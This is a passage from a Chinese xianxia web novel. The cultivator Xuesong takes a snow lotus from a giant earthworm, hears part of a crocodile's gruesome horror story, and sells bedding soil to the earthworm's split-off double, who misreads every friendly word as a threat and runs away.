停顿了一下,老人似乎意识到自己这样的叙述方式,实在是颠三倒四,不好理解,深吸一口气,从头道:“当初仙尊处理那个东西,很是愤怒,有些人认为他过了头,就问他为什么,是不是在以公谋私,他很生气,说他就想这么干,要罚就罚,反正他是不会认错的,有本事就一直把他关着。
但是,有些人认为,他处理那个东西那么严肃,和之前处理其他东西的时候都不一样,一定是有原因的,肯定不是像他说的那样,至少,不是那么随意。
他们就打定主意想要找出真相,暗中去调查了,调查发现他被挑衅了,不过他们觉得,他应该不会那么容易就生气,一定还有别的原因,又继续调查,发现仙尊曾经在,村子外面的镇上一条街里,接触过一个年轻人——”
“接触过一个年轻人又怎么了?”雪松搞不明白他们的逻辑,接触过一个年轻人就等于事情里有隐情吗?
天底下到处都是年轻人,走在路上不碰见一个,也少说碰见十个,总不能避着年轻人走吧?
那多奇怪!也挺麻烦的。再说了,谁会专门干这事呢?又没有利益,又没有必要,还很显眼。
老人睁了睁眼睛,似乎震惊于他居然还是不知道这意味着什么,倒吸一口凉气:“之后调查发现,仙尊在镇子的街上接触过的那个年轻人,身份很是特殊!”
“怎么个特殊法?”雪松不明所以。他想了一想,隐约记得有那么一个人,但实在不记得,这个人有什么特殊的。
老人抓紧时间正要讲,一阵风吹来,他的身形忽然晃了晃,看来是没时间了,周围的白雾逐渐散去,他在最后时刻喊道:“我下次还会来找你的!”
雪松点了点头,挥了挥手,同他告别,他也挥了挥手,声音已经消散了,什么都不剩下,整个人完全失去踪影。
周围的白雾一点也没有了,呆愣着的犀牛逐渐回过神来,眨了眨眼睛,往周围看了看,像个刚刚复活的尸体一样,一脸迷茫问:“我怎么感觉刚才好像发生了什么事?”
雪松无意对他解释,一边往远处走去,一边说:“没什么,可能是你不小心打了个盹吧,我没注意,我在看应该走哪边比较好,现在选出来了,该走了。”
犀牛一边点头一边跟了上去,心中却暗想,不小心打了个盹?那不可能!谁打盹的时候会站着打的?
再说了,如果真的困得连意识都消失了,怎么可能还站着,姿势跟从前一样?一定有什么事情发生了!而且绝对不是打盹!连和打盹有关系的事情都不会!
最重要的是他看见了,雪松站的位置和之前站的位置不太一样了,那么在他失去意识的时候,雪松一定做了什么需要移动的事。
那么是什么事呢?这种感觉怎么似曾相识?想起来了,之前在水下空间的时候就有过这样的事,那时候的感觉和现在一样!那么现在的事和之前说不定也差不多!
之前发生了什么事?之前大家都昏迷了,只有雪松醒着,仿佛做了什么的样子,而雪松在前不久也做了相同的事,那个时候犀牛侥幸醒了一回,看见了,所以知道,雪松那个时候是在和身体内保存的仙尊的残魂交流。
那这次应该也一样!这次,大概也是仙尊的残魂有话要说,为了避免引人注意,和暴露身份,泄露消息之类的,才特意召唤来白雾,让人神志不清,好站在旁边和雪松说一些不为人知的悄悄话!
虽然干这么大的阵仗,只为了说悄悄话,实在有点太奇怪了,但一想到其中一个人是仙尊,又觉得这也没什么。
仙尊有排场是正常情况,更何况,活着的时候,也没怎么摆出来,人都死了,稍微注重一些隐私,不想让别人知道,也不算过分。
再说了,又不是敲敲打打,锣鼓喧天,只是来一场雾,悄无声息来,悄无声息走,也算不得多么大的阵仗,只是让人回忆起来,意识到发生什么的时候,觉得稍稍有点惊悚罢了,并不是故意要让人觉得怎么样。
犀牛对于小情侣迫切想要见面互诉衷肠的事情,表示理解。
虽然他不是这么过来的,但总有人是这么过来的,他没谈过恋爱,还没见过谈恋爱的人吗?
天底下可到处都是人!十对里面有一对这么干的,也算是显眼了,不可能看不见的。他又不瞎!
没走多远,雪松掏出指针来看了看,看见指针指向了一个方向,向着那个方向走了过去,很快就在不远处,见到了一片田地中,生长着一朵雪白色的花。
“如果我没看错,”犀牛耸了耸鼻子,往前一看,有些好奇,凑到雪松身边问,“那是雪莲花吗?”
雪松缓缓点了点头:“是的。”那也是他所要制作的提升修为的丹药的原材料之一,重要材料之一。
“我去拿一下试试,”雪松拿出剑来,对犀牛说,“你在这里等我。”
犀牛点了点头,宝物旁边,常常有猛兽守护,为的是等宝物成熟之后收为己用,也不知道这里有没有。
但如果有,他上去肯定会拖后腿,还不如在旁边伺机而动,对他而言比较安全,对雪松而言,这样打起来也不必束手束脚。
他站在旁边观望,看见雪松向着泥泞之处走了过去,用了轻身诀和飞行术,保证自己不会一不小心陷进泥土里去,土里的腥味忽然重了许多。
犀牛皱着眉头捂住了鼻子,定睛一看,原来地底下有一条巨大的蚯蚓正在蠕动,他不由得倒吸了一口凉气,因为那条蚯蚓真的很大。
他正想悄悄提醒雪松,雪松已经走到了那朵花旁边,伸出手去,蚯蚓就是这个时候从地底下一跃而起,猛然间带着泥土向他撞了过来。
泥浆发出粘稠的响声,雪松眼疾手快摘下了那朵花,放进了系统空间里,一把将同样待在系统空间格子里的果实外壳丢了出来,用以阻拦那条蚯蚓对他的攻击。
虽然不知道那东西有什么用,但姑且先用一用,如果有奇效最好,如果没有,就当是丢垃圾了,也算没有浪费。
雪松在丢弃物品之后,立刻往远处奔逃,同时对犀牛做了一个行动的手势,犀牛看见,明白了他的意思,和他一起跑了起来。
两个人一前一后在地面上奔驰而去,速度极快,蚯蚓被果实的外壳打中之后摇了摇头,泥浆四溅,感到有些愤怒,和一种被戏耍了的感觉,几乎要气笑,但还没来得及发出声音,向二人追去,就感觉身体忽然一紧。
那巨大的,比三个人还长的蚯蚓,低头一看,发现自己的腰间被刚才雪松丢过来的果实外壳牢牢束缚住了。
那壳子不知什么时候张开了,像鳄鱼的嘴一样,一口咬住了他,狠狠含住,死死用力,恨不得把他的身体拦腰折断。
他感到剧烈的疼痛,如同中毒一般颤抖起来,开始在泥浆里打滚,试图摆脱这个东西,同时发出了剧烈的,完全不像是蚯蚓能够发出的尖啸声,发泄自己的痛苦。
那壳子里面伸出一只细白的婴儿般的手,一把拽住了蚯蚓的身体,蚯蚓的皮就像是一件皱巴巴的衣服一样,被扯下来一块。
但那块皮肉又没有完全被扯下来,所以像个半空中摇摇欲坠的风筝似的,在那雪白的手掌中,流出了鲜血,一股浓郁的腥臭味溢散开了,闻起来像是有什么糟糕的东西炸掉了。
此时的蚯蚓已经顾不得追踪拿走了宝物的雪松和犀牛,一心一意和丢在自己身上的那植物果实缠斗起来,扭过头去,狠狠咬了一口。
那果实外壳破碎了,露出里面的东西来,是一个雪白的没有衣服的人,小孩的状态,纤尘不染,和整片泥巴地格格不入,但手上和嘴上都沾着血,是蚯蚓的伤口流出来的,看起来十分可怕,诡异极了,注视着蚯蚓,露出了一个势在必得的放松的微笑。
蚯蚓狠狠打了个哆嗦,一边召唤泥浆攻击那小孩,一边再次张开嘴咬了过去,那小孩挥了挥手,泥浆旁边的植物开始飞速生长,向着他们战斗的位置,涌了过来,很快也参加了战斗。
他们两个就在泥浆地里翻来滚去,打得不相上下,一时这个赢了,一时那个占了上风,只是都没办法,立刻把对方杀死。
他们打着打着气喘吁吁僵持起来,瞪着眼睛在泥浆地里缓缓移动,时刻警惕着对方,屏住呼吸,调整身体节奏,那个小孩的脸上也再也没有办法轻而易举露出微笑,连拳头都握上了。
雪松和犀牛离开好远之后,回头看了看,见那两个东西都没有跟上来,松了一口气,开始休息,休息了一会儿,天色渐渐亮了。
不知道是即将出太阳,还是他们不知不觉又度过了一个晚上,雪松忽然察觉系统空间里有动静,定睛一看,原来是之前放进去的盒子。
他把盒子拿出来,鳄鱼从里面探出头来,看了看天色,脸上出现一种庆幸和失落混合在一起的神色,忍不住喃喃道:“原来已经是这个时候了?”
也不知道他究竟想感慨好可惜,还是,幸好是在这个时候醒的。如果是在晚上醒的,大概用不了多久,又要昏睡过去了。
虽然现在也没好到多少,可是白天给人的感觉终究是不太一样,好像有希望似的,其实他也清楚,一时半会儿是没机会整天都醒着的。
他从前不觉得这有什么,现在,倒是久违的,感觉到了没化形,没开智之前的生活,是有多么的枯燥无聊,甚至比那个时候更糟。
毕竟,他没开智的时候,这是一个普通的鳄鱼,动物而已,吃了睡,睡了吃,漫长的时间消耗在无意义的行为里,因为周围都是这样,不会觉得有什么大不了。
没化形的时候迫于无奈,也不怎么能长时间在陆地上四处移动,总觉得自己稍微努力,变成人形的时候就好了,也很有奔头,一整天打坐修炼也无所谓,反正早晚会好的。
现在就不一样了,他既不能觉得整天休息是无所谓的,也不能觉得,现在和从前还是一样,只要长时间在一个地方呆着,就会好起来。
不会的,因为从前毕竟是修炼,现在只是昏睡,没有一点作用,没有一点意义,还是被迫的,如果不主动找到解药,或者请求别人帮忙,根本没有机会变回正常!
这简直是一件,稍微仔细思考就无法容忍的事,幸好,他本来只是一只鳄鱼,野兽的本性还能勉强压制他的痛苦,但也仅此而已了。
不知道究竟要过多久才能变回从前的生活,鳄鱼想着这件事,陷入了沉默,一脸颓废坐在旁边,仿佛不知不觉,思考起哲学,即将陷入一种迷茫的虚无。
雪松见他没有什么要说的,等了一会儿,给他一点思考的时间,缓和了一下情绪,见他还是不打算说话,提醒他:“故事还没讲完!”他以为雪松留着他是为什么?
他又不是不知道!现在怎么伤春悲秋起来了?雪松还以为像他们这样的动物是用不着在乎这些的。
现在看来,但凡有所修炼,这是不可避免的事,真不知道是可惜他们失去了像从前那样一无所知快乐的能力,还是可叹他们终究掉进了无法自控的糟糕的漩涡。
鳄鱼抬头看了雪松一眼,沉沉叹了一口气,倒不是想不起来之前说了什么,之前的事情对于他而言,就像是刚发生的一样清楚,毕竟他中间只睡觉去了,被雪松一提醒,那种悲伤的情绪稍稍冲淡。
他感觉稍微好了一点,虽然只有一点,但足够他说下去,他闭了闭眼睛,尽可能声音平静道:“白色的隔离病人之间的布质帷幕无风自动,靠在外面门边的那张床上,那个最新进入医馆的病人,仍然昏迷不醒,身体却好像察觉了什么,眼珠转了转,一脚踢在木板上,猛然往上挺了挺腰,似乎要不是现在醒不来,早就跳起来,爬也爬出去了。
但没醒就是没醒,更多的动作也做不了,也就别提离开了。更多的新鲜的血液从那个病人的身体里流出来,沾湿了衣服,随着时间流逝,血液从鲜红变得漆黑,像是中毒了一样,甚至流到了地板上,越来越多,越来越多,几乎把整个人都抽干了。
那病人像个巨大而古怪的木乃伊一样,皮贴着骨头,肚子仍然向上,颤抖了两下,好像里面有什么即将爆炸的瘤子一样,呼吸逐渐微弱。
很快,只听砰的一声,那肚皮裂开了,就像一个被煮过了馅的饺子,血肉和肠子从里面溢了出来,就像是脑花一样,绵软细嫩,而且没有形状,紧接着,又是砰的一声响,里面爬出来一只手,鲜血淋漓的,仿佛是活着的婴儿的手。
在一阵叽里咕噜的黏黏糊糊的声音里面,一个浑身鲜血淋漓的皱巴巴的,紫红色的臭烘烘的婴儿从里面爬了出来,张口发出干呕,从嘴里吐出了一截肠子,丢出来之后,又吐掉了一些肉,这些东西显而易见,是从身后那具仿佛还在呼吸的活着的尸体里面,得来的。
那个婴儿,一边往前爬,一边发出含糊不清的笑声,喉咙里咕噜咕噜好像在喊什么,毫不犹豫抛弃了身后的尸体,那尸体像一条还不甘心死去的鱼一样,在病床上颤抖了一下,发出砰的一声,几乎把床板砸裂了。
但婴儿没有回头,爬到了白色的布的面前,伸手想要抓一把,躺在布后面的那个病人,不知什么时候坐起来了。
他们仿佛通过一种无声的交流,婴儿就把手收了回去,在布外面爬来爬去,咿呀作响,靠着门外的那具尸体又膨胀起来,从四肢和头都长出了新的人头大的瘤子。
那些瘤子乒乒乓乓炸开,里面也爬出了婴儿,每一个瘤子出一个婴儿,但是,这些婴儿并不完整,或是没有眼睛,或是没有手,或是没有脚,或是头上长了山羊角,又或是,下半身完全只是黑色的树根扭曲在一起的姿态。
婴儿们聚集到一起,爬向了郎中的房间,而在门外守着医馆的,病人的丈夫听见里面的声音,感到有些嘈杂,十分不解,走来走去,最终还是皱着眉头敲起了门,当然没有人应他,他开始试图翻墙。”
鳄鱼砰的一声倒了下去,又陷入了昏迷,故事仍然没有结束,而他的毒,似乎也一如既往,没有什么变化。
雪松把他收回盒子,又放回了系统空间,摇着头感慨:“也不知道这个故事什么时候能讲完。”
雪松和犀牛又休息了一会儿,起身上路。
与此同时,蚯蚓终于在泥巴地里咬死了和自己打得精疲力尽的果实里跑出来的小孩,恶狠狠吃掉了,感觉稍微恢复了一些精力,休息了一会儿,觉得这件事情不能就这么算了。
他非要做点什么不可!
他想了一想,刚才那个从他面前摘掉他守护了许久的宝贝雪莲花的人,长得和仙尊一模一样,正好他知道,这秘境里有一个仙尊遗迹。
不管是不是真的,横竖是有关系的,而且那个地方还盘踞着一堆人,在那里生活着,美名其曰,要守护仙尊留下来的痕迹,让世世代代都记住仙尊。
他要捣毁那个遗迹!
他立刻变成了人形,把自己切成两段,等着另外一段蠕动着变成一个完整的蚯蚓,他往这个蚯蚓身体里注入了修为,这只蚯蚓很快就变成了人形,站在了他面前,用一种充满星星眼的目光看着他,十分崇拜信任的语气:“你要我做什么?”
他对这只新的蚯蚓说:“我们到附近那个仙尊遗迹去,我在外面守着,免得那些该死的东西到附近的时候没有发觉,让他们跑了,你进去,吸引遗迹里面的人的注意力,告诉他们那些人有多么可恶,做了多坏的事,多么该死,最好让他们一见到那些人就立刻动手,把人弄死,那样才万无一失!也省了我们的功夫!”
新蚯蚓点了点头,一脸似懂非懂,若有所思问:“那我具体应该怎么做呢?”
老蚯蚓对他说:“这个简单!你先假装温和无害混进去,随便买个什么东西,找个人讲起话来,之后的事情就容易多了。”
老蚯蚓说着想了想,又补充道:“就去买湿泥巴吧!到处都有这种东西!那地方最多了!不会找不到的!买起来也不费什么钱!”
他一边掏钱一边接着说:“要少一点,好一点,带回来我给你做窝!”
新蚯蚓点了点头,一脸兴奋接过钱:“我知道了!”
老蚯蚓又把那个仙尊遗迹的位置详细告诉了新蚯蚓,免得他找错位置,新蚯蚓再次重重点了点头,立刻飞奔而去,用了疾驰术,很快就抵达了目的地。
他放慢了速度,路过了检查是否有危险物品的门口,进入了遗迹内,这里确实生活着很多人,他头一次来这里十分好奇,往周围望了望。
虽然老蚯蚓给他分享了一些关于这里的记忆,可以让他在记忆里确定这里究竟长什么样子,但是身临其境的感觉,毕竟还是有区别。
他一边随着人群往里走,一边打量着周围的环境,免得跑路的时候分不清方向,不可避免听到了周围的人的声音。
“听说遗迹里新来了一个路过的人,特别像仙尊,一来就立刻被拉到纪念仙尊活动广场那边去了,给了大价钱,让帮忙干活,就为了庆祝活动!”
“庆祝仙尊当年在这里留下遗迹吗?一不留神都到这个大日子了!真叫人恍惚啊!仙尊也离开有一段时间了,要是现在看见的这个真的很像仙尊,我这一趟来得也算值了!”
旁边的人点了点头,一脸赞同。
新蚯蚓感到头晕目眩,摇了摇头,觉得这些人对一个死人那么热情,真是太闲了,忍不住小声嘟囔了一句:“有病!”
本来他就在人群之中,说话很容易被听见,偏偏他运气不好,说话的时候周围的人停了下来,以至于十分安静,他的声音就分外显眼,好像故意找茬一样,被周围的人听见了。
周围的人愣了一下,没想到居然有人来仙尊遗迹却不尊重仙尊的,大为震惊,都转头看,想要找是谁在说话。
离得远的不知道究竟是谁,但是离得近的,可是有亲眼看见他说话的,因此很容易分辨出来,对他咬咬牙道:“你不要在这里说这些有的没的!不喜欢就走开,别待在这!”
第92章
新蚯蚓无话可说, 只能沉默,不想事情还没办成,就惹了众怒被赶出去, 迫不得已, 低下头去,一副示弱的姿态。
周围的人看他没有再挑事的意思, 哼了一声, 勉强没有继续找他的茬,只是挤了挤他, 从他身边走开了。
他见周围的人恢复了正常的态度,松了一口气, 抬起头来, 但心里仍然不服气, 长得像仙尊而已, 又不是真的仙尊,有什么好激动的?
而且, 听他们说那个人只是一个路过的, 肯定没有打扮,被拉过来之后又在干活,想来好看不到哪里去,说不定现在已经和进门的时候一点也不像了,和仙尊更是十万八千里,他们到面前也认不出来!
在心里叽里咕噜输出了一通, 没有被人反驳,他高兴极了,喉咙里哼了一声,昂着头直起背来, 一副气势汹汹的样子,像一只巡视领地的绿毛鸭。
一段时间之后,他跟着人群,走到了广场,往周围看了看,看见一个队伍正在卖泥土,走了过去,排上了,一点一点往前。
广场平时是空着的,只有最中间树立着一尊雕像,其他地方民众想干什么就干什么,不过因为这个地方的传统,民众们来到这里的时候都很严肃,并不进行娱乐活动。
他们只有在纪念活动的时候,才会将广场打扫一番,之后在这里摆摊,目的是为了,让生活在这里的人们,纪念仙尊和这片土地。
摊位都是早就规划好的,一直没怎么变过,人来了带上东西,直接开始售卖就行。
新蚯蚓排的这条队伍,平时只有两个人,一个人负责处理东西,一个人负责招待客人,不过今天,因为这个摊位异常火爆,里面又多了两个人,忙忙碌碌在打下手。
隔着很长的队伍,新蚯蚓只能隐约看见,那个摊位上,两个人低着头,两个人在更后面转来转去,确实忙得不可开交。
前面的是一个年轻人和一个中年人,年轻人拿着勺子和口袋,把客人要的土壤挖进去,中年人负责把装着土壤的袋子递给客人,并且收钱。
队伍前面的人一边仰头踮脚一边努力观察,在呜呜叫。
“就是最里面那个!看见了吗?”
“看见了!真的好像!脸都没露出来都像!”
“来对了!”
听着队伍讨论的蚯蚓:“……”
那个影子是蛮像仙尊的,但是只凭一个影子也断定不了什么吧?万一脸长得一点也不像所以才背对着其他人呢?这些人究竟在兴奋什么?
最重要的是他不知道怎么,看着那个影子,觉得后背有些发寒——
“也许是后面的人有冰系灵根还没掌控好?”蚯蚓打了个哆嗦,自言自语。
后面的人听见他的话,嗤笑了一声:“老子是火系!自己虚得像豆芽菜,还赖别人呢?”
蚯蚓没说话。
前面的人走开了,他到了第一位,摊子里的人突然换了班,他抬起头,雪松从阴影中走了出来。
第93章
小蚯蚓瞪大的眼睛, 倒吸了一口凉气,脸上闪过一丝惊慌失措的神色,下意识几乎要从人群中跑走。
但是, 他的身体刚刚一动, 目光扫到周围注视着他的人,就立刻强行定住了自己, 因为他知道, 如果现在在这么多人面前跑走,那是很可疑的行为。
别说不动声色找人说什么话, 套什么情报,做什么事, 就说能不能出去, 还是不一定的呢!
要是因为形迹可疑, 被广场里为了安全起见的安保之类的人抓起来, 那可就太不方便,太麻烦了!
他深吸了一口气, 强行镇定下来, 在心里反复对自己说,没关系的,没关系的,我现在长得和之前不太一样,他认不出来。
就算他认出我是蚯蚓,我之前是完整的, 现在是两半,他也有可能分不出,他又不是蚯蚓,他不知道这些!
不跑也许没事, 跑了就说不准了,事情一定办不成,还是先不要跑,再等一等,再等一等。
心脏虽然还是在怦怦乱跳,甚至好像有血从浑身上下弥漫到脸上,以至于脸上有一种过敏般的热感。
但蚯蚓眨了眨眼睛,还是颤颤巍巍对面前的雪松露出一个平静的微笑,好像刚才什么也没发生,心里的滔天巨浪,不过是面上的一缕微风。
雪松没听见他说话,有些疑惑,还以为是自己走过来换班的速度慢了一些,客人不太高兴,所以在发脾气。
但是雪松抬头一看,立刻觉得这个人有些眼熟,稍微一感知就察觉了,这个人根本不是普通的人类,也不是修仙者,而是一个和之前见过的蚯蚓一样的妖修,甚至本体也同样是蚯蚓。
最令人惊讶的是,这个蚯蚓的气息和之前那个蚯蚓的气息几乎一样,简直像是分裂出来的,体型也似乎更小一些——
不是身外化身,就是兄弟,又或者是法术。
那对面应该不是在发脾气,只是,没想到会在这里见到他,惊讶中带着些许紧张吧?怕他在这里动手?
虽然他确实有可能那么做,但这里的人太多了,不适合动手,他好端端的,也没必要找麻烦,向别人解释也是一桩事呢。
雪松想了想,之前那个蚯蚓虽然和他打过,但现在应该不是专门找他来打架的,不然,不会这么紧张,蚯蚓来要土,多半是打窝,因此,向对面问:“打窝吗?”
广场泥土摆摊守则:打窝用粘土,种植用营养土。
雪松一边问一边动手,拿起旁边的勺子,拎起一个小小的口袋,挖了一勺粘土,就等着回答,好把勺子里的土装进袋子。
蚯蚓在雪松的目光下浑身紧绷,看他没有动手的意思,刚要放松下来,又听他那么一说,顿时悚然一惊。
这不是之前大蚯蚓,在泥塘那边,交代自己的话吗?他来到这里之后,根本没提过泥塘那边的任何事情,更没提过大蚯蚓!对面怎么知道,他来这里是为了打窝用的土?
对面说这话是什么意思?难道是在告诉他,其实对面摘了花之后,还在那边留了后手,所以才会知道他和大蚯蚓谈论的事情?
蚯蚓倒吸一口凉气!
刚才来的时候,周围的人说过,新来了一个路过的……庆祝仙尊遗迹……难道是因为,他们在泥塘那边提及了仙尊?
否则为什么,前面的客人都是另外一个人在负责,到了他这里,一下子就换了人了?!是想警告他吧?一定是吧?!
所以——
事情是这样的:对面这个人在离开泥潭之后,听到了他和大蚯蚓的对话,知道他要来这里,本来要从这里路过,改成了进入。
为了恐吓他,也为了折磨他,专门在这里等他,不然,为什么不在别的摊子上?为什么不在别的队伍里?一定是故意等他的!
至于,究竟是什么东西能够藏在他们盘踞的泥塘里而不被发现,一定是仙尊专门教授给对面那个人的特别的法术吧?
仙尊就是有这种随便制作出别人根本不知道的法术的能力!到处出任务,见过的人不知多少,在外面留下一个关系匪浅的人,如此相似,也不是不可能。
明白了!
对面一定是因为和仙尊关系非常好,所以哪怕在仙尊死了之后,都不愿意听见有人在背后说仙尊的坏话,一听就生气,才会忍不住到这儿来,狠狠折磨他。
此时,对面那人一定正在怀念仙尊,并且觉得他因为说了仙尊的坏话,所以感到如此担惊受怕完全就是活该吧?
蚯蚓定睛一看,发现雪松早就准备好似的,一手拿着口袋,一手拿着勺子,勺子里还有泥土,完全就是只等他答应,就把东西给他的样子,几乎要两眼一翻昏过去。
明明已经知道他要什么,还假装不知道,手上东西都拿齐全了,难道要他也假装没看见吗?这是能没看见的事吗?太过分了!
但一口气差点没上来的时候,后面的人推了他一把,有点不耐烦说:“问你话呢!你是要在这买土干什么?是不是做窝呢?”
蚯蚓被推了一把,一时没有反应过来,踉跄着扑到了前面的台子上,只有用双手扶住那个台子,才勉强站稳了,但这样让他更加靠近雪松了。
他往前一看,感到更加恐惧,一时浑身僵住了,没有办法动弹,像一把严丝合缝扣在台子上的锁,其实心里在像一只即将被尖尖刀捅进身体的过年猪一样惨叫。
雪松挑了挑眉,一脸微笑看着他,向他伸出手来问:“你没事吧?需要帮忙吗?”你看起来好像很惊慌失措啊?
他看着雪松靠近,浑身一个激灵,重新恢复了活动能力,立刻把双手收了回去,连忙往后退,一不小心踩到后面的人都没注意到。
好像仙尊的一张脸!近了看更像了!完全是一模一样!如果仙尊没有死,大概也就这个样子!
如果仙尊死了活了,大约也会附身在这!这具身体简直是为仙尊量身定做的!难怪之前队伍排在前面的那些人一直在说像!
虽然好像没有见过仙尊,但是这种近距离的压迫感是怎么回事?好强大的威慑力!好恐怖的感觉!好糟糕的,好像要死了一样的窒息感!简直扑面而来!
他挑眉是什么意思?他觉得我很有趣?他觉得玩弄我很有趣!好恶劣的性格!好坏的一个人!
他还冲我笑!好狰狞邪恶的恐怖笑容!他在恐吓我!头皮发麻了!
他一定是不希望我把之前的事情说出来,影响他在这里的其他人面前的形象,所以才会恐吓我!
也对,他长得和仙尊这样像,又似乎和仙尊关系十分好,如果他的名声坏掉了,大概也会牵连到仙尊,不愿意是正常的。
他伸手是什么意思?他想掐死我!这么多人!居然也不能阻止他吗?他还装好人!好恐怖,好可怕!谁来救救我?
他还问我有没有事?我有没有事,不是一眼就能看出来的吗?!别人不知道,他还不知道?
他在对我做什么,他不知道?他从前对我和大蚯蚓做了什么,他不知道?
他不知道才怪!他一定是装的!一点破绽都没有!好像完全就是真好心一样!他好能装啊!
还问我需不需要帮助?我能不需要帮助吗?!我需要极了!浑身鸡皮疙瘩都起来了!再不帮助我就死了!我能不需要吗?!明知故问!!!
后面的人皱着眉头骂了他,声音很大,不太高兴:“你踩着我了,你有病吗?不能睁开眼睛看看?一惊一乍干什么?不知道的还以为兔子呢!”
他浑身紧绷着,听见后面的人骂了自己,狠狠一哆嗦,下意识道了个歉:“不好意思。”
但即使如此,他根本没回头,只是侧了侧身,脸上的两只眼睛都还注视着前面,雪松的位置。
他后面的人看他这个样子,也懒得跟他计较,挥了挥手,觉得他可能脑子有毛病,没再说什么,只希望他早点买了东西走掉,自己好往前去,不要耽误时间。
他随便双手合十往后拜了拜,算是感谢对方,把身子转回去,重新面向了雪松,但是一看见雪松那张脸,忽然觉得有些腿软,自己站不住,只好又伸手扶住了旁边的台子,这是最近最好扶还不容易打翻的东西了。
于是,他连手也有些抖,就好像把胳膊伸进火堆,即将烤死自己一样,害怕极了,又不肯立刻转头就跑,只能像个被捆在木棍上拉直了的蛇一样,定在原地。
“对,”他总算想起自己是来干什么的,虽然恨不得拔腿就跑,但是好不容易排到队伍最前面,就已经被看见了,转头就走,实在太亏了,脑子逐渐重新运转,像一只可怜兮兮的被丢在雪地里的哈士奇一样,眼神稍稍恢复清明,“我是来买土做窝的。”
他说完,忍不住在心里苦笑了一下,打窝和做窝说起来差不多,但实际上的字是有区别的,念起来也不一样。
哪怕是要问他,对面也不一定要问他是不是打窝,可以问他是不是做窝,偏偏对面要说打窝。
这完全就是恐吓,而且怕恐吓不到他似的,特意用了非常直白的办法告诉他,好像拐个弯,他就感觉不到那么恐怖了一样。
虽然确实是这样,但把他吓到这种地步,未免也太过分了吧!
雪松看了他一眼,重新拿起了旁边的勺子,把土挖进了袋子里,把袋子上的绳子一拉,敞开的袋子口就收拢了,雪松顺便在上面打了个蝴蝶结,向他递了过去。
他愣了一下,伸出手接了,看着上面的蝴蝶结,忍不住想,这是什么意思?
难道是在暗示他,如果再不放弃,想要在这个遗迹之城里,诋毁对面和仙尊的事情,他和大蚯蚓两条蚯蚓,就会像这袋子上的绳子一样被打成蝴蝶结?
雪松看他一脸若有所思,有些好奇,试探着问:“你有……”兄弟吗?
对面狠狠打了个哆嗦,浑身啪的一下,挺直了,就像是一块被强行掰正了的尺子一样,一脸惨白喊道:“我有!”
话音未落,他转身跑走了,毫不犹豫,带起一阵风吹过,挤进人群里一下子不见了。
周围的人听见他的声音都吃了一惊,转头看了过来,发现他像是被狗追一样跑走了,又吃了一惊,都有些疑惑,不知道他怎么这么惊慌。
尤其是站在他后面那个,排队的人疑惑挠了挠头,突然有点心虚,面对众人看过来的目光,缩了缩肩膀,喃喃道:“难道是因为我刚才骂了他,所以他害怕了,以为我要打他,才跑得这样快吗?我只是随便说说而已啊,并没有真的要对他怎么样的……”
雪松若有所思。
刚才那条蚯蚓真的知道他要问什么吗?如果知道,那刚才那个回答的意思是,有兄弟?这有什么可害怕的?
他买不到土,他兄弟回去要揍他吗?都兄弟了,不至于吧?这么容易动手的吗?
雪松忽然想到,对面那个排队的客人,在蚯蚓买东西的时候,说蚯蚓很虚,莫不是常常挨打才虚成这样?一惊一乍的?好像见谁都要狠狠揍他一顿一样?那就难怪了。
冲出人群,甚至冲出广场的蚯蚓找到了一个小巷子躲了起来,确认这里没有人之后,才好不容易松了一口气,缓缓蹲了下去,感觉三魂去了七魄,不存在的脊柱都要被抽走了。
一口气吐出去,蚯蚓打开口袋看了看,想到雪松把这个口袋给他的时候,特意问他,有什么,一定是在问,他有没有打算放弃本来要做的事!
他都已经被吓成那个样子了,对面居然还要问这种一眼就能看出来的问题,真是太过分太可恶了,这还用问吗?!当然放弃了!
这种明知故问的事,一定是想向他暗示,他那个和他密切相关的,现在不在这里的大蚯蚓,也在对方的掌控之中!
大蚯蚓不在这里,还没有开始行动,并不代表,对面一定要忽视或者原谅他,大蚯蚓说的话,对面早就一清二楚,根本没有什么一无所知或者无动于衷的余地。
否则怎么会无缘无故问“你有”什么的?
不管是对方的出现,还是对方的询问,又或者打在口袋上的蝴蝶结,都完全证明了,事情的一切发展都在对方的预料之中——
仙尊活着的时候就是这样!好像无所不知一样!给人一种无所不能的感觉!不管是谁站在仙尊的对面,都会不约而同,感到无能为力!
好不容易熬到仙尊死了,又冒出一个,和仙尊关系极好,还长得一模一样的人,居然连行事作风也和仙尊一样!
他绝对和仙尊生活过很长一段时间,把仙尊的布局都给学来了!他的修为甚至没有仙尊高!名声没有仙尊大!出任务也不如仙尊多!
但他就是能做到,几乎和仙尊一样,对别人了若指掌这种事!真不敢想他们究竟有多么亲密!细想一下,这种事真的很恐怖!
他们绝对不可能毫无关系!否则他没必要为了仙尊这样动怒!要知道,之前在泥潭的时候,大蚯蚓为了雪莲花攻击他,他都只是跑路,一点要反击的迹象都没有!
仙尊在他心中居然在自己之上!这太令人不可思议了!难道是道侣?据说有些人会因为太喜欢道侣而直接变成对方的样子,他长得和仙尊一模一样,说不定就是这种原因!
太变态了!
难怪仙尊活着的时候根本不说!
说不定仙尊活着的时候,他们两个根本住一起,别人不知道的时候,他们就睡一起,恨不得时时刻刻不分开,好得不得了!
不公开,反而无所顾忌,真要是公开了,反而容易被人注视着,束手束脚的,不如从前方便,这么一想,情况比他们只是在一起过更变态了!
那么,他一定不可能,只是因为意外,才站在那个摊子后面当临时员工的!毕竟,他不可能,真的只是图当员工那点钱吧?
他要是和仙尊有关系,怎么会差钱呢?骗鬼呢!
不行了,不能继续待在这里!大蚯蚓还在外面等着呢!要是没有等到消息,直接冲进来开始大闹,那事情可就不好收拾了!
小蚯蚓提着土冲了出去,找到了在外面等着他的大蚯蚓,大蚯蚓见他回来,以为他已经把事情办完了,神色一喜。
还没来得及仔细看,大蚯蚓就见他像个弹珠似的冲过来,满脸焦急,不知发生了什么,愣了一下。
小蚯蚓一边把装着土的袋子递给大蚯蚓,一边跺着脚在旁边绕圈,像是感觉到即将发生地震但面对周围人一无所知而无可奈何的小型犬恨不得百米冲刺的样子,浑身上下都往外溢出藏不住的急躁,用飞快的语速说:“我们被发现了!我们说的话都被那个人用法术听到了!他绝对知道我们要做的所有事!”
大蚯蚓一边接过袋子一边感到疑惑:“你在说什么呢?我怎么听不懂?那个人是谁?”
“就是之前拿走雪莲花的那个人啊!”小蚯蚓叹着气,感觉心提到了嗓子眼,左右看了看,有一种对方还在旁观的错觉,大声回答。
